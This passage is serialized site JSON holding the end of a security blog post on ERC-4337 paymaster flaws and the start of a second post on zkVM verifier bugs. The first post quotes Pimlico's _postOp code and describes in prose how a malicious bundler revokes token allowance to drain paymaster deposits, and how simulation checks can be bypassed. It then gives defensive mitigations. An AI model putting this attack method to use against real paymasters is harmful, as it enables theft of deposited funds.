",{"type":22,"tag":114,"props":108449,"children":108451},{"className":108450},[],[108452],{"type":28,"value":103838},{"type":28,"value":108454}," still gets paid for submitting the failed ",{"type":22,"tag":114,"props":108456,"children":108458},{"className":108457},[],[108459],{"type":28,"value":103778},{"type":28,"value":292},{"type":22,"tag":31,"props":108462,"children":108463},{},[108464,108466,108471,108473,108478,108480,108487],{"type":28,"value":108465},"Now that we understand this behavior where ",{"type":22,"tag":114,"props":108467,"children":108469},{"className":108468},[],[108470],{"type":28,"value":103977},{"type":28,"value":108472}," is allowed to fail while the ",{"type":22,"tag":114,"props":108474,"children":108476},{"className":108475},[],[108477],{"type":28,"value":103838},{"type":28,"value":108479}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":22,"tag":42,"props":108481,"children":108484},{"href":108482,"rel":108483},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[46],[108485],{"type":28,"value":108486},"Pimlico",{"type":28,"value":292},{"type":22,"tag":107,"props":108489,"children":108491},{"className":6487,"code":108490,"language":6486,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[108492],{"type":22,"tag":114,"props":108493,"children":108494},{"__ignoreMap":7},[108495,108510,108527,108547,108563,108575,108582,108589,108596,108627,108634,108659,108667,108674,108681,108710,108717,108733,108755,108762,108778,108828,108835,108851,108859,108892,108925,108933,108940,108947,108990,108997,109046,109072,109079,109086,109103],{"type":22,"tag":118,"props":108496,"children":108497},{"class":120,"line":121},[108498,108502,108506],{"type":22,"tag":118,"props":108499,"children":108500},{"style":146},[108501],{"type":28,"value":91427},{"type":22,"tag":118,"props":108503,"children":108504},{"style":532},[108505],{"type":28,"value":105379},{"type":22,"tag":118,"props":108507,"children":108508},{"style":125},[108509],{"type":28,"value":696},{"type":22,"tag":118,"props":108511,"children":108512},{"class":120,"line":142},[108513,108518,108522],{"type":22,"tag":118,"props":108514,"children":108515},{"style":146},[108516],{"type":28,"value":108517},"        PostOpMode",{"type":22,"tag":118,"props":108519,"children":108520},{"style":125},[108521],{"type":28,"value":231},{"type":22,"tag":118,"props":108523,"children":108524},{"style":257},[108525],{"type":28,"value":108526},"/* mode */\n",{"type":22,"tag":118,"props":108528,"children":108529},{"class":120,"line":177},[108530,108534,108538,108543],{"type":22,"tag":118,"props":108531,"children":108532},{"style":131},[108533],{"type":28,"value":107295},{"type":22,"tag":118,"props":108535,"children":108536},{"style":146},[108537],{"type":28,"value":104608},{"type":22,"tag":118,"props":108539,"children":108540},{"style":204},[108541],{"type":28,"value":108542}," _context",{"type":22,"tag":118,"props":108544,"children":108545},{"style":125},[108546],{"type":28,"value":782},{"type":22,"tag":118,"props":108548,"children":108549},{"class":120,"line":195},[108550,108554,108559],{"type":22,"tag":118,"props":108551,"children":108552},{"style":131},[108553],{"type":28,"value":91605},{"type":22,"tag":118,"props":108555,"children":108556},{"style":204},[108557],{"type":28,"value":108558}," _actualGasCost",{"type":22,"tag":118,"props":108560,"children":108561},{"style":125},[108562],{"type":28,"value":782},{"type":22,"tag":118,"props":108564,"children":108565},{"class":120,"line":244},[108566,108570],{"type":22,"tag":118,"props":108567,"children":108568},{"style":131},[108569],{"type":28,"value":91605},{"type":22,"tag":118,"props":108571,"children":108572},{"style":204},[108573],{"type":28,"value":108574}," _actualUserOpFeePerGas\n",{"type":22,"tag":118,"props":108576,"children":108577},{"class":120,"line":253},[108578],{"type":22,"tag":118,"props":108579,"children":108580},{"style":125},[108581],{"type":28,"value":25864},{"type":22,"tag":118,"props":108583,"children":108584},{"class":120,"line":263},[108585],{"type":22,"tag":118,"props":108586,"children":108587},{"style":146},[108588],{"type":28,"value":104647},{"type":22,"tag":118,"props":108590,"children":108591},{"class":120,"line":318},[108592],{"type":22,"tag":118,"props":108593,"children":108594},{"style":125},[108595],{"type":28,"value":31125},{"type":22,"tag":118,"props":108597,"children":108598},{"class":120,"line":351},[108599,108604,108608,108613,108617,108622],{"type":22,"tag":118,"props":108600,"children":108601},{"style":125},[108602],{"type":28,"value":108603},"        ERC20PostOpContext ",{"type":22,"tag":118,"props":108605,"children":108606},{"style":146},[108607],{"type":28,"value":77568},{"type":22,"tag":118,"props":108609,"children":108610},{"style":125},[108611],{"type":28,"value":108612}," ctx ",{"type":22,"tag":118,"props":108614,"children":108615},{"style":210},[108616],{"type":28,"value":282},{"type":22,"tag":118,"props":108618,"children":108619},{"style":532},[108620],{"type":28,"value":108621}," _parsePostOpContext",{"type":22,"tag":118,"props":108623,"children":108624},{"style":125},[108625],{"type":28,"value":108626},"(_context);\n",{"type":22,"tag":118,"props":108628,"children":108629},{"class":120,"line":359},[108630],{"type":22,"tag":118,"props":108631,"children":108632},{"emptyLinePlaceholder":15},[108633],{"type":28,"value":250},{"type":22,"tag":118,"props":108635,"children":108636},{"class":120,"line":368},[108637,108641,108646,108650,108655],{"type":22,"tag":118,"props":108638,"children":108639},{"style":131},[108640],{"type":28,"value":91605},{"type":22,"tag":118,"props":108642,"children":108643},{"style":125},[108644],{"type":28,"value":108645}," expectedPenaltyGasCost ",{"type":22,"tag":118,"props":108647,"children":108648},{"style":210},[108649],{"type":28,"value":282},{"type":22,"tag":118,"props":108651,"children":108652},{"style":532},[108653],{"type":28,"value":108654}," _expectedPenaltyGasCost",{"type":22,"tag":118,"props":108656,"children":108657},{"style":125},[108658],{"type":28,"value":696},{"type":22,"tag":118,"props":108660,"children":108661},{"class":120,"line":384},[108662],{"type":22,"tag":118,"props":108663,"children":108664},{"style":125},[108665],{"type":28,"value":108666},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":22,"tag":118,"props":108668,"children":108669},{"class":120,"line":417},[108670],{"type":22,"tag":118,"props":108671,"children":108672},{"style":125},[108673],{"type":28,"value":9748},{"type":22,"tag":118,"props":108675,"children":108676},{"class":120,"line":425},[108677],{"type":22,"tag":118,"props":108678,"children":108679},{"emptyLinePlaceholder":15},[108680],{"type":28,"value":250},{"type":22,"tag":118,"props":108682,"children":108683},{"class":120,"line":441},[108684,108688,108692,108696,108701,108705],{"type":22,"tag":118,"props":108685,"children":108686},{"style":131},[108687],{"type":28,"value":91605},{"type":22,"tag":118,"props":108689,"children":108690},{"style":125},[108691],{"type":28,"value":105703},{"type":22,"tag":118,"props":108693,"children":108694},{"style":210},[108695],{"type":28,"value":282},{"type":22,"tag":118,"props":108697,"children":108698},{"style":125},[108699],{"type":28,"value":108700}," _actualGasCost ",{"type":22,"tag":118,"props":108702,"children":108703},{"style":210},[108704],{"type":28,"value":3220},{"type":22,"tag":118,"props":108706,"children":108707},{"style":125},[108708],{"type":28,"value":108709}," expectedPenaltyGasCost;\n",{"type":22,"tag":118,"props":108711,"children":108712},{"class":120,"line":475},[108713],{"type":22,"tag":118,"props":108714,"children":108715},{"emptyLinePlaceholder":15},[108716],{"type":28,"value":250},{"type":22,"tag":118,"props":108718,"children":108719},{"class":120,"line":484},[108720,108724,108729],{"type":22,"tag":118,"props":108721,"children":108722},{"style":131},[108723],{"type":28,"value":91605},{"type":22,"tag":118,"props":108725,"children":108726},{"style":125},[108727],{"type":28,"value":108728}," costInToken ",{"type":22,"tag":118,"props":108730,"children":108731},{"style":210},[108732],{"type":28,"value":16672},{"type":22,"tag":118,"props":108734,"children":108735},{"class":120,"line":492},[108736,108741,108746,108750],{"type":22,"tag":118,"props":108737,"children":108738},{"style":532},[108739],{"type":28,"value":108740},"            getCostInToken",{"type":22,"tag":118,"props":108742,"children":108743},{"style":125},[108744],{"type":28,"value":108745},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":22,"tag":118,"props":108747,"children":108748},{"style":210},[108749],{"type":28,"value":3220},{"type":22,"tag":118,"props":108751,"children":108752},{"style":125},[108753],{"type":28,"value":108754}," ctx.constantFee;\n",{"type":22,"tag":118,"props":108756,"children":108757},{"class":120,"line":501},[108758],{"type":22,"tag":118,"props":108759,"children":108760},{"emptyLinePlaceholder":15},[108761],{"type":28,"value":250},{"type":22,"tag":118,"props":108763,"children":108764},{"class":120,"line":519},[108765,108769,108774],{"type":22,"tag":118,"props":108766,"children":108767},{"style":131},[108768],{"type":28,"value":91605},{"type":22,"tag":118,"props":108770,"children":108771},{"style":125},[108772],{"type":28,"value":108773}," absoluteCostInToken ",{"type":22,"tag":118,"props":108775,"children":108776},{"style":210},[108777],{"type":28,"value":16672},{"type":22,"tag":118,"props":108779,"children":108780},{"class":120,"line":606},[108781,108786,108790,108795,108799,108803,108807,108811,108815,108819,108823],{"type":22,"tag":118,"props":108782,"children":108783},{"style":125},[108784],{"type":28,"value":108785},"            costInToken ",{"type":22,"tag":118,"props":108787,"children":108788},{"style":210},[108789],{"type":28,"value":12460},{"type":22,"tag":118,"props":108791,"children":108792},{"style":125},[108793],{"type":28,"value":108794}," ctx.preFundCharged ",{"type":22,"tag":118,"props":108796,"children":108797},{"style":210},[108798],{"type":28,"value":796},{"type":22,"tag":118,"props":108800,"children":108801},{"style":125},[108802],{"type":28,"value":108728},{"type":22,"tag":118,"props":108804,"children":108805},{"style":210},[108806],{"type":28,"value":6340},{"type":22,"tag":118,"props":108808,"children":108809},{"style":125},[108810],{"type":28,"value":108794},{"type":22,"tag":118,"props":108812,"children":108813},{"style":210},[108814],{"type":28,"value":213},{"type":22,"tag":118,"props":108816,"children":108817},{"style":125},[108818],{"type":28,"value":108794},{"type":22,"tag":118,"props":108820,"children":108821},{"style":210},[108822],{"type":28,"value":6340},{"type":22,"tag":118,"props":108824,"children":108825},{"style":125},[108826],{"type":28,"value":108827}," costInToken;\n",{"type":22,"tag":118,"props":108829,"children":108830},{"class":120,"line":615},[108831],{"type":22,"tag":118,"props":108832,"children":108833},{"emptyLinePlaceholder":15},[108834],{"type":28,"value":250},{"type":22,"tag":118,"props":108836,"children":108837},{"class":120,"line":685},[108838,108843,108847],{"type":22,"tag":118,"props":108839,"children":108840},{"style":125},[108841],{"type":28,"value":108842},"        SafeTransferLib.",{"type":22,"tag":118,"props":108844,"children":108845},{"style":532},[108846],{"type":28,"value":105234},{"type":22,"tag":118,"props":108848,"children":108849},{"style":125},[108850],{"type":28,"value":696},{"type":22,"tag":118,"props":108852,"children":108853},{"class":120,"line":699},[108854],{"type":22,"tag":118,"props":108855,"children":108856},{"style":125},[108857],{"type":28,"value":108858},"            ctx.token,\n",{"type":22,"tag":118,"props":108860,"children":108861},{"class":120,"line":729},[108862,108866,108870,108874,108878,108883,108887],{"type":22,"tag":118,"props":108863,"children":108864},{"style":125},[108865],{"type":28,"value":108785},{"type":22,"tag":118,"props":108867,"children":108868},{"style":210},[108869],{"type":28,"value":12460},{"type":22,"tag":118,"props":108871,"children":108872},{"style":125},[108873],{"type":28,"value":108794},{"type":22,"tag":118,"props":108875,"children":108876},{"style":210},[108877],{"type":28,"value":796},{"type":22,"tag":118,"props":108879,"children":108880},{"style":125},[108881],{"type":28,"value":108882}," ctx.sender ",{"type":22,"tag":118,"props":108884,"children":108885},{"style":210},[108886],{"type":28,"value":213},{"type":22,"tag":118,"props":108888,"children":108889},{"style":125},[108890],{"type":28,"value":108891}," ctx.treasury,\n",{"type":22,"tag":118,"props":108893,"children":108894},{"class":120,"line":771},[108895,108899,108903,108907,108911,108916,108920],{"type":22,"tag":118,"props":108896,"children":108897},{"style":125},[108898],{"type":28,"value":108785},{"type":22,"tag":118,"props":108900,"children":108901},{"style":210},[108902],{"type":28,"value":12460},{"type":22,"tag":118,"props":108904,"children":108905},{"style":125},[108906],{"type":28,"value":108794},{"type":22,"tag":118,"props":108908,"children":108909},{"style":210},[108910],{"type":28,"value":796},{"type":22,"tag":118,"props":108912,"children":108913},{"style":125},[108914],{"type":28,"value":108915}," ctx.treasury ",{"type":22,"tag":118,"props":108917,"children":108918},{"style":210},[108919],{"type":28,"value":213},{"type":22,"tag":118,"props":108921,"children":108922},{"style":125},[108923],{"type":28,"value":108924}," ctx.sender,\n",{"type":22,"tag":118,"props":108926,"children":108927},{"class":120,"line":785},[108928],{"type":22,"tag":118,"props":108929,"children":108930},{"style":125},[108931],{"type":28,"value":108932},"            absoluteCostInToken\n",{"type":22,"tag":118,"props":108934,"children":108935},{"class":120,"line":804},[108936],{"type":22,"tag":118,"props":108937,"children":108938},{"style":125},[108939],{"type":28,"value":9748},{"type":22,"tag":118,"props":108941,"children":108942},{"class":120,"line":812},[108943],{"type":22,"tag":118,"props":108944,"children":108945},{"emptyLinePlaceholder":15},[108946],{"type":28,"value":250},{"type":22,"tag":118,"props":108948,"children":108949},{"class":120,"line":821},[108950,108954,108959,108963,108968,108972,108977,108981,108986],{"type":22,"tag":118,"props":108951,"children":108952},{"style":131},[108953],{"type":28,"value":91605},{"type":22,"tag":118,"props":108955,"children":108956},{"style":125},[108957],{"type":28,"value":108958}," preFundInToken ",{"type":22,"tag":118,"props":108960,"children":108961},{"style":210},[108962],{"type":28,"value":282},{"type":22,"tag":118,"props":108964,"children":108965},{"style":125},[108966],{"type":28,"value":108967}," (ctx.preFund ",{"type":22,"tag":118,"props":108969,"children":108970},{"style":210},[108971],{"type":28,"value":671},{"type":22,"tag":118,"props":108973,"children":108974},{"style":125},[108975],{"type":28,"value":108976}," ctx.exchangeRate) ",{"type":22,"tag":118,"props":108978,"children":108979},{"style":210},[108980],{"type":28,"value":888},{"type":22,"tag":118,"props":108982,"children":108983},{"style":674},[108984],{"type":28,"value":108985}," 1e18",{"type":22,"tag":118,"props":108987,"children":108988},{"style":125},[108989],{"type":28,"value":801},{"type":22,"tag":118,"props":108991,"children":108992},{"class":120,"line":900},[108993],{"type":22,"tag":118,"props":108994,"children":108995},{"emptyLinePlaceholder":15},[108996],{"type":28,"value":250},{"type":22,"tag":118,"props":108998,"children":108999},{"class":120,"line":913},[109000,109004,109009,109013,109017,109021,109025,109029,109033,109037,109041],{"type":22,"tag":118,"props":109001,"children":109002},{"style":1480},[109003],{"type":28,"value":5293},{"type":22,"tag":118,"props":109005,"children":109006},{"style":125},[109007],{"type":28,"value":109008}," (ctx.recipient ",{"type":22,"tag":118,"props":109010,"children":109011},{"style":210},[109012],{"type":28,"value":17659},{"type":22,"tag":118,"props":109014,"children":109015},{"style":131},[109016],{"type":28,"value":8259},{"type":22,"tag":118,"props":109018,"children":109019},{"style":125},[109020],{"type":28,"value":540},{"type":22,"tag":118,"props":109022,"children":109023},{"style":674},[109024],{"type":28,"value":6036},{"type":22,"tag":118,"props":109026,"children":109027},{"style":125},[109028],{"type":28,"value":588},{"type":22,"tag":118,"props":109030,"children":109031},{"style":210},[109032],{"type":28,"value":2187},{"type":22,"tag":118,"props":109034,"children":109035},{"style":125},[109036],{"type":28,"value":108958},{"type":22,"tag":118,"props":109038,"children":109039},{"style":210},[109040],{"type":28,"value":12460},{"type":22,"tag":118,"props":109042,"children":109043},{"style":125},[109044],{"type":28,"value":109045}," costInToken) {\n",{"type":22,"tag":118,"props":109047,"children":109048},{"class":120,"line":953},[109049,109054,109058,109063,109067],{"type":22,"tag":118,"props":109050,"children":109051},{"style":125},[109052],{"type":28,"value":109053},"            SafeTransferLib.",{"type":22,"tag":118,"props":109055,"children":109056},{"style":532},[109057],{"type":28,"value":105234},{"type":22,"tag":118,"props":109059,"children":109060},{"style":125},[109061],{"type":28,"value":109062},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":22,"tag":118,"props":109064,"children":109065},{"style":210},[109066],{"type":28,"value":6340},{"type":22,"tag":118,"props":109068,"children":109069},{"style":125},[109070],{"type":28,"value":109071}," costInToken);\n",{"type":22,"tag":118,"props":109073,"children":109074},{"class":120,"line":982},[109075],{"type":22,"tag":118,"props":109076,"children":109077},{"style":125},[109078],{"type":28,"value":1835},{"type":22,"tag":118,"props":109080,"children":109081},{"class":120,"line":995},[109082],{"type":22,"tag":118,"props":109083,"children":109084},{"emptyLinePlaceholder":15},[109085],{"type":28,"value":250},{"type":22,"tag":118,"props":109087,"children":109088},{"class":120,"line":1011},[109089,109094,109098],{"type":22,"tag":118,"props":109090,"children":109091},{"style":1480},[109092],{"type":28,"value":109093},"        emit",{"type":22,"tag":118,"props":109095,"children":109096},{"style":532},[109097],{"type":28,"value":105968},{"type":22,"tag":118,"props":109099,"children":109100},{"style":125},[109101],{"type":28,"value":109102},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":22,"tag":118,"props":109104,"children":109105},{"class":120,"line":1019},[109106],{"type":22,"tag":118,"props":109107,"children":109108},{"style":125},[109109],{"type":28,"value":1254},{"type":22,"tag":31,"props":109111,"children":109112},{},[109113,109115,109120,109122,109128,109130,109136,109138,109143,109145,109150],{"type":28,"value":109114},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":22,"tag":114,"props":109116,"children":109118},{"className":109117},[],[109119],{"type":28,"value":105234},{"type":28,"value":109121},". Note that ",{"type":22,"tag":114,"props":109123,"children":109125},{"className":109124},[],[109126],{"type":28,"value":109127},"preFundCharged",{"type":28,"value":109129}," can be zero, as users can opt out of any ",{"type":22,"tag":114,"props":109131,"children":109133},{"className":109132},[],[109134],{"type":28,"value":109135},"preFund",{"type":28,"value":109137}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":22,"tag":114,"props":109139,"children":109141},{"className":109140},[],[109142],{"type":28,"value":106035},{"type":28,"value":109144}," call inside ",{"type":22,"tag":114,"props":109146,"children":109148},{"className":109147},[],[109149],{"type":28,"value":107119},{"type":28,"value":109151}," will revert and the paymaster won't be able to collect payment from the user.",{"type":22,"tag":31,"props":109153,"children":109154},{},[109155,109157,109162,109164,109170,109172,109178],{"type":28,"value":109156},"However, even when ",{"type":22,"tag":114,"props":109158,"children":109160},{"className":109159},[],[109161],{"type":28,"value":106035},{"type":28,"value":109163}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":22,"tag":114,"props":109165,"children":109167},{"className":109166},[],[109168],{"type":28,"value":109169},"requiredPrefund",{"type":28,"value":109171}," was taken from the paymaster's ",{"type":22,"tag":42,"props":109173,"children":109176},{"href":109174,"rel":109175},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[46],[109177],{"type":28,"value":63904},{"type":28,"value":292},{"type":22,"tag":31,"props":109180,"children":109181},{},[109182,109184,109189],{"type":28,"value":109183},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":22,"tag":114,"props":109185,"children":109187},{"className":109186},[],[109188],{"type":28,"value":106035},{"type":28,"value":109190}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":22,"tag":4029,"props":109192,"children":109193},{},[109194,109212,109231,109242,109247],{"type":22,"tag":68,"props":109195,"children":109196},{},[109197,109199,109204,109206],{"type":28,"value":109198},"The bundler creates a ",{"type":22,"tag":114,"props":109200,"children":109202},{"className":109201},[],[109203],{"type":28,"value":103778},{"type":28,"value":109205}," with an intentionally high ",{"type":22,"tag":114,"props":109207,"children":109209},{"className":109208},[],[109210],{"type":28,"value":109211},"gasPrice",{"type":22,"tag":68,"props":109213,"children":109214},{},[109215,109217,109222,109224,109229],{"type":28,"value":109216},"The bundler ensures the ",{"type":22,"tag":114,"props":109218,"children":109220},{"className":109219},[],[109221],{"type":28,"value":106035},{"type":28,"value":109223}," call will fail by revoking the paymaster's token allowance before ",{"type":22,"tag":114,"props":109225,"children":109227},{"className":109226},[],[109228],{"type":28,"value":106035},{"type":28,"value":109230}," executes",{"type":22,"tag":68,"props":109232,"children":109233},{},[109234,109235,109240],{"type":28,"value":65296},{"type":22,"tag":114,"props":109236,"children":109238},{"className":109237},[],[109239],{"type":28,"value":106035},{"type":28,"value":109241}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":22,"tag":68,"props":109243,"children":109244},{},[109245],{"type":28,"value":109246},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":22,"tag":68,"props":109248,"children":109249},{},[109250],{"type":28,"value":109251},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":22,"tag":31,"props":109253,"children":109254},{},[109255,109257,109262,109264,109269],{"type":28,"value":109256},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":22,"tag":114,"props":109258,"children":109260},{"className":109259},[],[109261],{"type":28,"value":103807},{"type":28,"value":109263}," designed to fail during ",{"type":22,"tag":114,"props":109265,"children":109267},{"className":109266},[],[109268],{"type":28,"value":106035},{"type":28,"value":109270}," while maximizing the gas costs they can charge to the paymaster.",{"type":22,"tag":31,"props":109272,"children":109273},{},[109274,109276,109281,109283,109288,109290,109296,109298,109303],{"type":28,"value":109275},"Some paymasters try to protect against this by simulating the ",{"type":22,"tag":114,"props":109277,"children":109279},{"className":109278},[],[109280],{"type":28,"value":103778},{"type":28,"value":109282}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":22,"tag":114,"props":109284,"children":109286},{"className":109285},[],[109287],{"type":28,"value":103778},{"type":28,"value":109289}," is submitted via ",{"type":22,"tag":114,"props":109291,"children":109293},{"className":109292},[],[109294],{"type":28,"value":109295},"handleOps",{"type":28,"value":109297},". This means the ",{"type":22,"tag":114,"props":109299,"children":109301},{"className":109300},[],[109302],{"type":28,"value":106035},{"type":28,"value":109304}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":22,"tag":31,"props":109306,"children":109307},{},[109308],{"type":28,"value":109309},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":22,"tag":31,"props":109311,"children":109312},{},[109313],{"type":28,"value":109314},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":22,"tag":31,"props":109316,"children":109317},{},[109318],{"type":28,"value":109319},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":22,"tag":37313,"props":109321,"children":109322},{"id":30872},[109323],{"type":28,"value":20914},{"type":22,"tag":31,"props":109325,"children":109326},{},[109327],{"type":28,"value":109328},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":22,"tag":4029,"props":109330,"children":109331},{},[109332,109337,109342,109347,109352],{"type":22,"tag":68,"props":109333,"children":109334},{},[109335],{"type":28,"value":109336},"Always collect full payment during validation, not after execution",{"type":22,"tag":68,"props":109338,"children":109339},{},[109340],{"type":28,"value":109341},"Be conservative with gas estimations and include safety margins",{"type":22,"tag":68,"props":109343,"children":109344},{},[109345],{"type":28,"value":109346},"Carefully validate all user inputs and token transfers",{"type":22,"tag":68,"props":109348,"children":109349},{},[109350],{"type":28,"value":109351},"Test extensively, including simulation of malicious behavior",{"type":22,"tag":68,"props":109353,"children":109354},{},[109355,109357,109362],{"type":28,"value":109356},"Always review changes in new ",{"type":22,"tag":114,"props":109358,"children":109360},{"className":109359},[],[109361],{"type":28,"value":103859},{"type":28,"value":109363}," versions, as they may impact your paymaster's design and security assumptions",{"type":22,"tag":31,"props":109365,"children":109366},{},[109367,109369,109374,109376,109381,109383,109388],{"type":28,"value":109368},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":22,"tag":114,"props":109370,"children":109372},{"className":109371},[],[109373],{"type":28,"value":103859},{"type":28,"value":109375}," contract's behavior could potentially break existing ",{"type":22,"tag":114,"props":109377,"children":109379},{"className":109378},[],[109380],{"type":28,"value":103931},{"type":28,"value":109382}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":22,"tag":114,"props":109384,"children":109386},{"className":109385},[],[109387],{"type":28,"value":103859},{"type":28,"value":109389}," versions.",{"type":22,"tag":31,"props":109391,"children":109392},{},[109393],{"type":28,"value":109394},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":22,"tag":31,"props":109396,"children":109397},{},[109398],{"type":28,"value":109399},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":22,"tag":4880,"props":109401,"children":109402},{},[109403],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":109405},[109406,109407,109408,109415,109420,109421],{"id":103693,"depth":142,"text":103696},{"id":103709,"depth":142,"text":103712},{"id":103748,"depth":142,"text":103751,"children":109409},[109410,109411,109412,109413,109414],{"id":103771,"depth":177,"text":103778},{"id":103812,"depth":177,"text":103815},{"id":103838,"depth":177,"text":103841},{"id":16702,"depth":177,"text":103859},{"id":103931,"depth":177,"text":103942},{"id":103994,"depth":142,"text":109416,"children":109417},"Understanding the EntryPoint's Flow",[109418,109419],{"id":104050,"depth":177,"text":104053},{"id":104235,"depth":177,"text":104238},{"id":104478,"depth":142,"text":104484},{"id":106078,"depth":142,"text":106084,"children":109422},[109423,109424],{"id":106138,"depth":177,"text":106141},{"id":106198,"depth":177,"text":106201},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":109429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":109430,"description":109431,"date":109432,"author":109433,"image":109436,"isFeatured":15,"onBlogPage":15,"tags":109438,"body":109440,"_type":4896,"_id":125245,"_source":4898,"_file":125246,"_stem":125247,"_extension":4901},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[109434,109435],"himanshu","valter",{"src":109437,"width":98864,"height":13},"/posts/zkvms-unfaithful-claims/title.png",[109439],"zkVM",{"type":19,"children":109441,"toc":125209},[109442,109447,109489,109502,109505,109511,109516,109644,109647,109653,109659,109664,109696,109844,109849,109972,109983,109994,110017,110028,110033,110066,110074,110079,110082,110088,110093,110099,110104,110109,110117,110135,110276,110281,110287,110380,111114,111182,111193,111201,111675,111681,112120,112460,112613,112618,113506,113662,113668,113760,113765,114350,114800,114876,114882,114887,114956,114966,114982,114992,115053,115472,115504,115514,115689,115694,115704,116304,116492,116510,116513,116519,116524,116532,116564,116926,116931,117016,117019,117025,117033,117038,117041,117047,117052,117060,117068,117076,117084,117117,117125,117133,117224,117475,117802,117810,117840,118010,118336,118341,118346,118363,118366,118371,118376,118388,118400,118991,119003,119015,119022,119030,119042,119050,119065,119070,119350,119369,119464,119483,119499,119502,119508,119513,119518,119525,119533,119540,119548,119561,119579,120039,120141,120146,120151,120167,120170,120176,120181,120193,120204,120209,120599,120606,120614,120639,120659,120915,120926,120945,121329,121675,121905,122064,122224,122792,122797,122823,122826,122832,122837,122844,122852,122865,122937,122948,122956,122966,122974,122985,123259,123348,123377,123380,123385,123519,123531,123538,123543,123696,123722,123729,123737,123742,123808,123813,124203,124290,124306,124309,124315,124320,124326,124426,124485,124490,124496,124501,124509,124514,124520,124525,124530,124536,124541,124544,124550,124556,124561,124566,124571,124576,124581,124584,124590,124753,124758,124761,124766,124777,125094,125099,125123,125128,125146,125151,125154,125160,125165,125170,125180,125185,125195,125205],{"type":22,"tag":31,"props":109443,"children":109444},{},[109445],{"type":28,"value":109446},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":22,"tag":31,"props":109448,"children":109449},{},[109450,109452,109457,109458,109463,109464,109469,109470,109475,109476,109481,109482,109487],{"type":28,"value":109451},"We found six 